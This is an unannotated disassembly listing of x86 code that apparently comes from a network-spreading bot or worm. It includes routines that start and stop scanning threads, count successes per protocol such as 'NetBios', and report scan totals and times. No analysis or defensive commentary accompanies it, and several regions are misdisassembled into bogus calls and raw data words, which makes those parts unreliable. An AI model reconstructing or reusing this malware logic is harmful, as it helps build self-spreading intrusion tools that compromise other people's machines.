		mov	ecx, offset dword_4523B8


loc_408F8E:				; CODE XREF: sub_408F87+1Cj
		mov	edx, [ecx]
		cmp	edx, [esp+arg_0]
		jnz	short loc_408F97
		inc	eax


loc_408F97:				; CODE XREF: sub_408F87+Dj
		add	ecx, 234h
		cmp	ecx, offset dword_4DF3B8
		jl	short loc_408F8E
		retn
sub_408F87	endp


; =============== S U B	R O U T	I N E =======================================



sub_408FA6	proc near		; CODE XREF: seg000:00407B49p

arg_0		= dword	ptr  4

		xor	eax, eax
		push	esi
		xor	edx, edx
		mov	ecx, offset dword_4523B8


loc_408FB0:				; CODE XREF: sub_408FA6+1Fj
		mov	esi, [ecx]
		cmp	esi, [esp+4+arg_0]
		jz	short loc_408FC9
		add	ecx, 234h
		inc	edx
		cmp	ecx, offset dword_4DF3B8
		jl	short loc_408FB0
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_408FC9:				; CODE XREF: sub_408FA6+10j
		mov	eax, edx
		pop	esi
		retn
sub_408FA6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408FCD	proc near		; CODE XREF: seg000:00408216p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		xor	eax, eax
		cmp	[ebp+arg_1C], eax
		jz	short loc_408FE6
		push	[ebp+arg_1C]
		call	sub_41D560
		pop	ecx


loc_408FE6:				; CODE XREF: sub_408FCD+Ej
		push	eax
		push	[ebp+arg_18]
		call	sub_408F3A
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_409012
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	offset aSSStopped_DThr ; "%s %s	stopped. (%d thread(s) stopped.)"
		push	eax
		call	sub_41D260
		add	esp, 14h
		jmp	short loc_40902C
; ---------------------------------------------------------------------------


loc_409012:				; CODE XREF: sub_408FCD+26j
		push	[ebp+arg_14]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_10]
		push	offset aSNoSThreadFoun ; "%s No	%s thread found."
		push	eax
		call	sub_41D260
		add	esp, 10h


loc_40902C:				; CODE XREF: sub_408FCD+43j
		cmp	[ebp+arg_C], 0
		jnz	short loc_40904C
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40145D
		add	esp, 14h


loc_40904C:				; CODE XREF: sub_408FCD+63j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4161A7
		pop	ecx
		leave
		retn
sub_408FCD	endp


; =============== S U B	R O U T	I N E =======================================



sub_40905B	proc near		; CODE XREF: sub_402D46+159p
					; seg000:00409688p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		imul	eax, 234h
		mov	ds:dword_4523CC[eax], ecx
		mov	ds:dword_4523B8[eax], ecx
		mov	ds:dword_4523BC[eax], ecx
		mov	ds:dword_4523C0[eax], ecx
		mov	ds:dword_4523C4[eax], ecx
		mov	ds:dword_4523C8[eax], ecx
		mov	byte ptr ds:dword_4521B8[eax], cl
		mov	ds:byte_4523D0[eax], cl
		retn
sub_40905B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409098	proc near		; CODE XREF: seg000:0040850Ap
					; sub_4091C6+6Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		push	1
		pop	eax


loc_4090A2:				; CODE XREF: sub_409098+68j
		mov	cl, [esi]
		test	cl, cl
		jz	short loc_409102
		cmp	eax, 1
		jnz	short loc_409102
		mov	edx, [ebp+arg_4]
		mov	dl, [edx]
		test	dl, dl
		jz	short loc_409102
		cmp	cl, 2Ah
		jz	short loc_4090E9
		cmp	cl, 3Fh
		jz	short loc_4090CC
		cmp	cl, 5Bh
		jz	short loc_4090D1
		xor	eax, eax
		cmp	cl, dl
		setz	al


loc_4090CC:				; CODE XREF: sub_409098+26j
		inc	[ebp+arg_4]
		jmp	short loc_4090FC
; ---------------------------------------------------------------------------


loc_4090D1:				; CODE XREF: sub_409098+2Bj
		lea	eax, [ebp+arg_4]
		inc	esi
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_40912E
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_4090FC
; ---------------------------------------------------------------------------


loc_4090E9:				; CODE XREF: sub_409098+21j
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_4091C6
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		dec	esi


loc_4090FC:				; CODE XREF: sub_409098+37j
					; sub_409098+4Fj
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_4090A2
; ---------------------------------------------------------------------------


loc_409102:				; CODE XREF: sub_409098+Ej
					; sub_409098+13j ...
		cmp	byte ptr [esi],	2Ah
		jnz	short loc_409112
		cmp	eax, 1
		jnz	short loc_409129
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_409102
; ---------------------------------------------------------------------------


loc_409112:				; CODE XREF: sub_409098+6Dj
		cmp	eax, 1
		jnz	short loc_409129
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_409129
		cmp	byte ptr [esi],	0
		jnz	short loc_409129
		push	1
		pop	eax
		jmp	short loc_40912B
; ---------------------------------------------------------------------------


loc_409129:				; CODE XREF: sub_409098+72j
					; sub_409098+7Dj ...
		xor	eax, eax


loc_40912B:				; CODE XREF: sub_409098+8Fj
		pop	esi
		pop	ebp
		retn
sub_409098	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40912E	proc near		; CODE XREF: sub_409098+45p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edi
		xor	edi, edi
		push	1
		mov	ecx, [edx]
		and	[ebp+var_8], edi
		pop	eax
		cmp	byte ptr [ecx],	21h
		mov	[ebp+var_4], eax
		jnz	short loc_40914F
		inc	ecx
		mov	[ebp+var_8], eax
		mov	[edx], ecx


loc_40914F:				; CODE XREF: sub_40912E+19j
		push	ebx
		push	esi


loc_409151:				; CODE XREF: sub_40912E+7Bj
		mov	ecx, [edx]
		mov	bl, [ecx]
		cmp	bl, 5Dh
		jnz	short loc_40915F
		cmp	[ebp+var_4], eax
		jnz	short loc_4091AB


loc_40915F:				; CODE XREF: sub_40912E+2Aj
		test	edi, edi
		jnz	short loc_4091A0
		cmp	bl, 2Dh
		jnz	short loc_409194
		mov	al, [ecx+1]
		lea	esi, [ecx+1]
		mov	cl, [ecx-1]
		cmp	cl, al
		jge	short loc_409194
		cmp	al, 5Dh
		jz	short loc_409194
		cmp	[ebp+var_4], edi
		jnz	short loc_409194
		mov	ebx, [ebp+arg_4]
		mov	ebx, [ebx]
		mov	bl, [ebx]
		cmp	bl, cl
		jl	short loc_4091A0
		cmp	bl, al
		jg	short loc_4091A0
		push	1
		mov	[edx], esi
		pop	edi
		jmp	short loc_4091A0
; ---------------------------------------------------------------------------


loc_409194:				; CODE XREF: sub_40912E+38j
					; sub_40912E+45j ...
		mov	eax, [ebp+arg_4]
		mov	eax, [eax]
		cmp	bl, [eax]
		jnz	short loc_4091A0
		push	1
		pop	edi


loc_4091A0:				; CODE XREF: sub_40912E+33j
					; sub_40912E+59j ...
		inc	dword ptr [edx]
		and	[ebp+var_4], 0
		push	1
		pop	eax
		jmp	short loc_409151
; ---------------------------------------------------------------------------


loc_4091AB:				; CODE XREF: sub_40912E+2Fj
		cmp	[ebp+var_8], eax
		pop	esi
		pop	ebx
		jnz	short loc_4091B8
		mov	ecx, eax
		sub	ecx, edi
		mov	edi, ecx


loc_4091B8:				; CODE XREF: sub_40912E+82j
		cmp	edi, eax
		jnz	short loc_4091C1
		mov	eax, [ebp+arg_4]
		inc	dword ptr [eax]


loc_4091C1:				; CODE XREF: sub_40912E+8Cj
		mov	eax, edi
		pop	edi
		leave
		retn
sub_40912E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4091C6	proc near		; CODE XREF: sub_409098+59p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], 1
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		xor	ebx, ebx


loc_4091E2:				; CODE XREF: sub_4091C6+3Aj
		cmp	[eax], bl
		jz	short loc_409202
		mov	cl, [ecx]
		cmp	cl, 3Fh
		jz	short loc_4091F7
		cmp	cl, 2Ah
		jnz	short loc_409202
		cmp	cl, 3Fh
		jnz	short loc_4091FA


loc_4091F7:				; CODE XREF: sub_4091C6+25j
		inc	eax
		mov	[edi], eax


loc_4091FA:				; CODE XREF: sub_4091C6+2Fj
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		jmp	short loc_4091E2
; ---------------------------------------------------------------------------


loc_409202:				; CODE XREF: sub_4091C6+1Ej
					; sub_4091C6+2Aj ...
		mov	eax, [esi]
		cmp	byte ptr [eax],	2Ah
		jnz	short loc_40920D
		inc	dword ptr [esi]
		jmp	short loc_409202
; ---------------------------------------------------------------------------


loc_40920D:				; CODE XREF: sub_4091C6+41j
		mov	eax, [edi]
		mov	cl, [eax]
		cmp	cl, bl
		jnz	short loc_40922E
		mov	edx, [esi]
		cmp	[edx], bl
		jz	short loc_40921F
		xor	eax, eax
		jmp	short loc_40928E
; ---------------------------------------------------------------------------


loc_40921F:				; CODE XREF: sub_4091C6+53j
		cmp	cl, bl
		jnz	short loc_40922E
		mov	ecx, [esi]
		cmp	[ecx], bl
		jnz	short loc_40922E
		push	1
		pop	eax
		jmp	short loc_40928E
; ---------------------------------------------------------------------------


loc_40922E:				; CODE XREF: sub_4091C6+4Dj
					; sub_4091C6+5Bj ...
		push	eax
		push	dword ptr [esi]
		call	sub_409098
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409278


loc_40923C:				; CODE XREF: sub_4091C6+B0j
		inc	dword ptr [edi]
		mov	eax, [edi]


loc_409240:				; CODE XREF: sub_4091C6+90j
		mov	ecx, [esi]
		mov	dl, [eax]
		mov	cl, [ecx]
		cmp	cl, dl
		jz	short loc_409258
		cmp	cl, 5Bh
		jz	short loc_409258
		cmp	dl, bl
		jz	short loc_409258
		inc	eax
		mov	[edi], eax
		jmp	short loc_409240
; ---------------------------------------------------------------------------


loc_409258:				; CODE XREF: sub_4091C6+82j
					; sub_4091C6+87j ...
		mov	eax, [edi]
		cmp	[eax], bl
		jz	short loc_40926F
		push	eax
		push	dword ptr [esi]
		call	sub_409098
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_409274
; ---------------------------------------------------------------------------


loc_40926F:				; CODE XREF: sub_4091C6+96j
		mov	[ebp+var_4], ebx
		xor	eax, eax


loc_409274:				; CODE XREF: sub_4091C6+A7j
		cmp	eax, ebx
		jnz	short loc_40923C


loc_409278:				; CODE XREF: sub_4091C6+74j
		mov	eax, [edi]
		cmp	[eax], bl
		jnz	short loc_40928B
		mov	eax, [esi]
		cmp	[eax], bl
		jnz	short loc_40928B
		mov	[ebp+var_4], 1


loc_40928B:				; CODE XREF: sub_4091C6+B6j
					; sub_4091C6+BCj
		mov	eax, [ebp+var_4]


loc_40928E:				; CODE XREF: sub_4091C6+57j
					; sub_4091C6+66j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4091C6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409293	proc near		; CODE XREF: seg000:004081EAp

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		push	ebx
		push	edi
		lea	eax, [ebp+var_200]
		push	offset dword_444274
		push	eax
		xor	ebx, ebx
		call	sub_41D260
		cmp	ds:dword_4439F0, ebx
		pop	ecx
		pop	ecx
		mov	edi, 200h
		jz	short loc_409305
		push	esi
		mov	esi, offset dword_4439F8


loc_4092C6:				; CODE XREF: sub_409293+6Fj
		mov	eax, [esi]
		test	eax, eax
		jbe	short loc_4092FB
		add	ebx, eax
		push	eax
		lea	eax, [esi-26h]
		push	eax
		lea	eax, [ebp+var_400]
		push	offset dword_4442B4
		push	eax
		call	sub_41D260
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_41E710
		add	esp, 1Ch


loc_4092FB:				; CODE XREF: sub_409293+37j
		add	esi, 40h
		cmp	dword ptr [esi-8], 0
		jnz	short loc_4092C6
		pop	esi


loc_409305:				; CODE XREF: sub_409293+2Bj
		push	ds:dword_4DF1BC
		call	sub_41A227
		push	eax
		push	ebx
		lea	eax, [ebp+var_400]
		push	offset aTotalDInS_ ; " Total: %d in %s."
		push	eax
		call	sub_41D260
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_41E710
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40145D
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4161A7
		add	esp, 38h
		pop	edi
		pop	ebx
		leave
		retn
sub_409293	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		mov	eax, ds:dword_4E1D38
		mov	ecx, ds:dword_4E1D34
		push	esi
		push	ds:dword_4DF1BC
		lea	esi, [ecx+eax]
		call	sub_41A227
		push	eax
		push	esi
		push	ds:dword_4E1D38
		lea	eax, [ebp-200h]
		push	ds:dword_4E1D34
		push	offset dword_4442D4
		push	eax
		call	sub_41D260
		push	0
		lea	eax, [ebp-200h]
		push	dword ptr [ebp+10h]
		push	eax
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_40145D
		lea	eax, [ebp-200h]
		push	eax
		call	sub_4161A7
		add	esp, 34h
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	ds:dword_4DF1BC
		call	sub_41A227
		push	eax
		lea	eax, [ebp-200h]
		push	ds:dword_4E2640
		push	offset dword_44434C
		push	eax
		call	sub_41D260
		push	0
		lea	eax, [ebp-200h]
		push	dword ptr [ebp+10h]
		push	eax
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_40145D
		lea	eax, [ebp-200h]
		push	eax
		call	sub_4161A7
		add	esp, 2Ch
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_41DEB0
		push	edi
		lea	eax, [ebp-800h]
		push	offset dword_44439C
		push	eax
		call	sub_41D260
		cmp	ds:dword_4439F0, 0
		pop	ecx
		pop	ecx
		mov	edi, 800h
		jz	short loc_40948C
		push	esi
		mov	esi, offset aNetbios ; "NetBios"


loc_409455:				; CODE XREF: seg000:00409489j
		lea	eax, [esi-0Ah]
		push	eax
		push	esi
		lea	eax, [ebp-1000h]
		push	offset dword_4443D4
		push	eax
		call	sub_41D260
		lea	eax, [ebp-1000h]
		push	edi
		push	eax
		lea	eax, [ebp-800h]
		push	eax
		call	sub_41E710
		add	esi, 40h
		add	esp, 1Ch
		cmp	dword ptr [esi+1Eh], 0
		jnz	short loc_409455
		pop	esi


loc_40948C:				; CODE XREF: seg000:0040944Dj
		push	ds:dword_4DF1BC
		call	sub_41A227
		push	eax
		lea	eax, [ebp-1000h]
		push	offset aScanTimeS_ ; " Scan Time: %s."
		push	eax
		call	sub_41D260
		lea	eax, [ebp-1000h]
		push	edi
		push	eax
		lea	eax, [ebp-800h]
		push	eax
		call	sub_41E710
		push	0
		lea	eax, [ebp-800h]
		push	dword ptr [ebp+10h]
		push	eax
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_40145D
		lea	eax, [ebp-800h]
		push	eax
		call	sub_4161A7
		add	esp, 34h
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 3F0h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	4Bh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-134h]
		rep movsd
		mov	dword ptr [eax+128h], 1
		lea	eax, [ebp-134h]
		push	eax
		call	ds:dword_451530
		xor	edi, edi
		mov	[ebp-8], eax
		cmp	ds:dword_4439F0, edi
		mov	[ebp-4], edi
		mov	[ebp+8], edi
		jz	loc_409644
		mov	ebx, offset dword_4439F0
		mov	eax, ebx


loc_409537:				; CODE XREF: seg000:0040963Ej
		push	dword ptr [ebp-1Ch]
		push	dword ptr [eax]
		push	dword ptr [ebp-8]
		call	sub_409CC8
		add	esp, 0Ch
		cmp	eax, 1
		jnz	loc_409634
		push	dword ptr [ebx]
		lea	esi, [ebx-28h]
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [esi+0Ah]
		push	eax
		lea	eax, [ebp-3F0h]
		push	offset dword_4443F4
		push	eax
		call	sub_41D260
		push	edi
		lea	eax, [ebp-3F0h]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-124h]
		push	eax
		push	dword ptr [ebp-24h]
		call	sub_40145D
		lea	eax, [ebp-3F0h]
		push	eax
		call	sub_4161A7
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [ebp-1ECh]
		push	eax
		call	sub_41D260
		lea	eax, [ebp-15Ch]
		push	esi
		push	eax
		call	sub_41D260
		add	esp, 3Ch
		cmp	byte ptr [ebp-0A4h], 0
		lea	eax, [ebp-0A4h]
		jnz	short loc_4095CF
		lea	eax, [ebp-124h]


loc_4095CF:				; CODE XREF: seg000:004095C7j
		push	eax
		lea	eax, [ebp-1DCh]
		push	eax
		call	sub_41D260
		mov	eax, [ebp-24h]
		pop	ecx
		mov	[ebp-1F0h], eax
		mov	eax, [ebp-14h]
		mov	[ebp-140h], eax
		mov	eax, [ebp-10h]
		pop	ecx
		mov	[ebp-13Ch], eax
		mov	eax, [ebx]
		sub	esp, 0BCh
		mov	[ebp-150h], eax
		mov	eax, [ebp-18h]
		push	2Fh
		mov	[ebp-14Ch], eax
		mov	eax, [ebp+8]
		pop	ecx
		lea	esi, [ebp-1F0h]
		mov	edi, esp
		mov	[ebp-148h], eax
		rep movsd
		call	dword ptr [ebx+4]
		add	esp, 0BCh
		inc	dword ptr [ebp-4]
		xor	edi, edi


loc_409634:				; CODE XREF: seg000:0040954Aj
		inc	dword ptr [ebp+8]
		add	ebx, 40h
		mov	eax, ebx
		cmp	[ebx], edi
		jnz	loc_409537


loc_409644:				; CODE XREF: seg000:0040952Aj
		push	dword ptr [ebp-4]
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [ebp-3F0h]
		push	offset dword_444440
		push	eax
		call	sub_41D260
		push	edi
		lea	eax, [ebp-3F0h]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-124h]
		push	eax
		push	dword ptr [ebp-24h]
		call	sub_40145D
		lea	eax, [ebp-3F0h]
		push	eax
		call	sub_4161A7
		push	dword ptr [ebp-18h]
		call	sub_40905B
		add	esp, 2Ch
		push	edi
		call	near ptr 3D0000h


loc_409696:				; CODE XREF: seg000:00407B64p
		adc	byte ptr [ebp-75h], 0ECh
		sub	esp, 200h
		push	0Bh
		call	sub_408F87
		test	eax, eax
		pop	ecx
		jle	short loc_4096D3
		mov	eax, [ebp+14h]
		push	ds:dword_4DF378[eax*8]
		call	ds:dword_45157C
		push	eax
		lea	eax, [ebp-200h]
		push	offset dword_444490
		push	eax
		call	sub_41D260
		add	esp, 0Ch
		jmp	short loc_4096E6
; ---------------------------------------------------------------------------


loc_4096D3:				; CODE XREF: seg000:004096AAj
		lea	eax, [ebp-200h]
		push	offset dword_4444CC
		push	eax
		call	sub_41D260
		pop	ecx
		pop	ecx


loc_4096E6:				; CODE XREF: seg000:004096D1j
		push	0
		lea	eax, [ebp-200h]
		push	dword ptr [ebp+10h]
		push	eax
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_40145D
		lea	eax, [ebp-200h]
		push	eax
		call	sub_4161A7
		add	esp, 18h
		leave
		retn
; ---------------------------------------------------------------------------


loc_40970E:				; CODE XREF: sub_40A146+4Fp
		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		mov	eax, [ebp+138h]
		push	ebx
		cmp	eax, 0FFFFFFFFh
		push	esi
		jz	loc_409BE0
		shl	eax, 6
		xor	ebx, ebx	; CODE XREF: seg000:0040976Bj
		cmp	ds:dword_4439FC[eax], ebx
		jz	loc_409BE0
		push	5
		call	sub_408F87
		test	eax, eax
		pop	ecx
		jnz	loc_409995
		mov	eax, ds:dword_43CC58
		push	edi
		mov	esi, offset dword_4E1434
		push	104h
		push	esi
		push	ebx
		mov	ds:dword_4E1644, eax
		mov	ds:dword_4E1640, ebx
		call	near ptr 3D0000h
		jz	short near ptr loc_40972B+1
		mov	esp, 680043CCh
		add	eax, [ecx]
; ---------------------------------------------------------------------------
		dd 68570000h, 4E1538h, 1407FE8h, 18858B00h, 83000001h
		dd 9D380CC4h, 98h, 4E1430A3h, 40858B00h, 6A000001h, 16C8A37Fh
		dd 1D75004Eh, 5018458Dh, 4E164868h, 404EE800h, 0C4830001h
		dd 0CC05C70Ch, 1004E16h, 0EB000000h, 98858D1Ah,	50000000h
		dd 4E164868h, 402EE800h, 0C4830001h, 0CC1D890Ch, 56004E16h
		dd 0FDFC858Dh, 35FFFFFFh, 4E1644h, 44450868h, 6DE85000h
		dd 5300013Ah, 0FDFC858Dh, 56AFFFFh, 0F53DE850h,	0C483FFFFh
		dd 163CA31Ch, 458D004Eh, 685350FCh, 4E1430h, 412AD068h
		dd 0FF535300h, 4F131C15h, 3C0D8B00h, 69004E16h,	234C9h
		dd 89C33B00h, 4523CC81h, 39127400h, 4E16D01Dh, 6A257500h
		dd 0F415FF32h, 0EB004F12h, 1015FFEEh, 50004F13h, 0FDFC858Dh
		dd 6468FFFFh, 50004445h, 139FFE8h, 0CC48300h, 0FDFC858Dh
		dd 0E850FFFFh, 0C937h, 4DF1B8A1h, 16DCBE00h, 4C7004Eh
		dd 10424h, 0A3535600h, 4E18ECh,	18E81D89h, 6DE8004Eh, 9DFFFC67h
		dd 10368h, 0E0685700h, 0E8004E17h, 13F5Ch, 118858Bh, 0C4830000h
		dd 989D380Ch, 0A3000000h, 4E16D8h, 140858Bh, 0A35F0000h
		dd 4E1970h, 1D757F6Ah, 5018458Dh, 4E18F068h, 3F2AE800h
		dd 0C4830001h, 7405C70Ch, 1004E19h, 0EB000000h,	98858D1Ah
		dd 50000000h, 4E18F068h, 3F0AE800h, 0C4830001h,	741D890Ch
		dd 56004E19h, 0FDFC858Dh, 35FFFFFFh, 4E18ECh, 4445B868h
		dd 49E85000h, 53000139h, 0FDFC858Dh, 46AFFFFh, 0F419E850h
		dd 0C483FFFFh, 18E4A31Ch, 458D004Eh, 685350FCh,	4E16D8h
		dd 40FCCD68h, 0FF535300h, 4F131C15h, 0E40D8B00h, 69004E18h
		dd 234C9h, 89C33B00h, 4523CC81h, 39127400h, 4E19781Dh
		dd 6A257500h, 0F415FF32h, 0EB004F12h, 1015FFEEh, 50004F13h
		dd 0FDFC858Dh, 1468FFFFh, 50004446h, 138DBE8h, 0CC48300h
		dd 0FDFC858Dh, 0E850FFFFh, 0C813h
; ---------------------------------------------------------------------------
		pop	ecx


loc_409995:				; CODE XREF: seg000:00409743j
		mov	eax, [ebp+138h]
		mov	ecx, eax
		shl	ecx, 6
		cmp	ds:dword_443A04[ecx], ebx
		jz	loc_409ABE
		push	7
		call	sub_408F87
		test	eax, eax
		pop	ecx
		jnz	loc_409AB8
		mov	eax, ds:dword_4E2638
		cmp	[ebp+98h], bl
		mov	ds:dword_4E139C, eax
		mov	eax, [ebp+118h]
		mov	ds:dword_4E1390, eax
		mov	eax, [ebp+140h]
		mov	ds:dword_4E1398, ebx
		mov	ds:dword_4E1420, eax
		push	7Fh
		jnz	short loc_409A09
		lea	eax, [ebp+18h]
		push	eax
		push	offset dword_4E13A0
		call	sub_41D800
		add	esp, 0Ch
		mov	ds:dword_4E1424, 1
		jmp	short loc_409A23
; ---------------------------------------------------------------------------


loc_409A09:				; CODE XREF: seg000:004099EAj
		lea	eax, [ebp+98h]
		push	eax
		push	offset dword_4E13A0
		call	sub_41D800
		add	esp, 0Ch
		mov	ds:dword_4E1424, ebx


loc_409A23:				; CODE XREF: seg000:00409A07j
		push	ds:dword_4E139C
		lea	eax, [ebp-204h]
		push	offset unk_44466C
		push	eax
		call	sub_41D260
		push	ebx
		lea	eax, [ebp-204h]
		push	7
		push	eax
		call	sub_408D3F
		add	esp, 18h
		mov	ds:dword_4E1394, eax
		lea	eax, [ebp-4]
		push	eax
		push	ebx
		push	offset dword_4E1390
		push	offset loc_40F9BF
		push	ebx
		push	ebx
		call	ds:dword_4F131C	; CreateThread
		mov	ecx, ds:dword_4E1394
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_4523CC[ecx], eax
		jz	short loc_409A90


loc_409A7E:				; CODE XREF: seg000:00409A8Ej
		cmp	ds:dword_4E1428, ebx
		jnz	short loc_409AAB
		push	32h
		call	ds:dword_4F12F4	; Sleep
		jmp	short loc_409A7E
; ---------------------------------------------------------------------------


loc_409A90:				; CODE XREF: seg000:00409A7Cj
		call	ds:dword_4F1310	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp-204h]
		push	offset dword_4446B4
		push	eax
		call	sub_41D260
		add	esp, 0Ch


loc_409AAB:				; CODE XREF: seg000:00409A84j
		lea	eax, [ebp-204h]
		push	eax
		call	sub_4161A7
		pop	ecx


loc_409AB8:				; CODE XREF: seg000:004099B6j
		mov	eax, [ebp+138h]


loc_409ABE:				; CODE XREF: seg000:004099A6j
		shl	eax, 6
		cmp	ds:dword_443A00[eax], ebx
		jz	loc_409BE0
		push	3
		call	sub_408F87
		test	eax, eax
		pop	ecx
		jnz	loc_409BE0
		mov	esi, offset dword_4E1C0C
		push	104h
		push	esi
		push	ebx
		call	near ptr 3D0000h
		cmp	eax, 0E8565C6Ah
		test	eax, 59000148h
		cmp	eax, ebx
		pop	ecx
		jz	short loc_409AFF
		mov	[eax], bl


loc_409AFF:				; CODE XREF: seg000:00409AFBj
		mov	eax, ds:dword_43CC5C
		mov	ds:dword_4E1D24, ebx
		mov	ds:dword_4E1D10, eax
		lea	eax, [ebp+18h]
		push	eax
		push	offset dword_4E1984
		call	sub_41D260
		mov	eax, [ebp+118h]
		pop	ecx
		pop	ecx
		mov	ds:dword_4E1980, eax
		mov	ecx, [ebp+140h]
		push	esi
		push	ds:dword_4E1D10
		mov	ds:dword_4E1D1C, ecx
		mov	ecx, [ebp+144h]
		push	eax
		mov	ds:dword_4E1D20, ecx
		call	sub_402617
		pop	ecx
		push	eax
		lea	eax, [ebp-204h]
		push	offset dword_444710
		push	eax
		call	sub_41D260
		push	ebx
		lea	eax, [ebp-204h]
		push	3
		push	eax
		call	sub_408D3F
		add	esp, 20h
		mov	ds:dword_4E1D18, eax
		lea	eax, [ebp-4]
		push	eax
		push	ebx
		push	offset dword_4E1980
		push	offset sub_410418
		push	ebx
		push	ebx
		call	ds:dword_4F131C	; CreateThread
		mov	ecx, ds:dword_4E1D18
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_4523CC[ecx], eax
		jz	short loc_409BB8


loc_409BA6:				; CODE XREF: seg000:00409BB6j
		cmp	ds:dword_4E1D2C, ebx
		jnz	short loc_409BD3
		push	32h
		call	ds:dword_4F12F4	; Sleep
		jmp	short loc_409BA6
; ---------------------------------------------------------------------------


loc_409BB8:				; CODE XREF: seg000:00409BA4j
		call	ds:dword_4F1310	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp-204h]
		push	offset dword_444778
		push	eax
		call	sub_41D260
		add	esp, 0Ch


loc_409BD3:				; CODE XREF: seg000:00409BACj
		lea	eax, [ebp-204h]
		push	eax
		call	sub_4161A7
		pop	ecx


loc_409BE0:				; CODE XREF: seg000:00409722j
					; seg000:00409733j ...
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409BE4	proc near		; CODE XREF: sub_409F32:loc_409FA3p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	esi
		push	4
		lea	esi, ds:4DF378h[eax*8]
		lea	eax, [ebp+arg_0]
		push	esi
		push	eax
		call	sub_41E840
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	ds:dword_451420
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	ds:dword_4514F0
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		push	esi
		call	sub_41E840
		mov	eax, [esi]
		add	esp, 0Ch
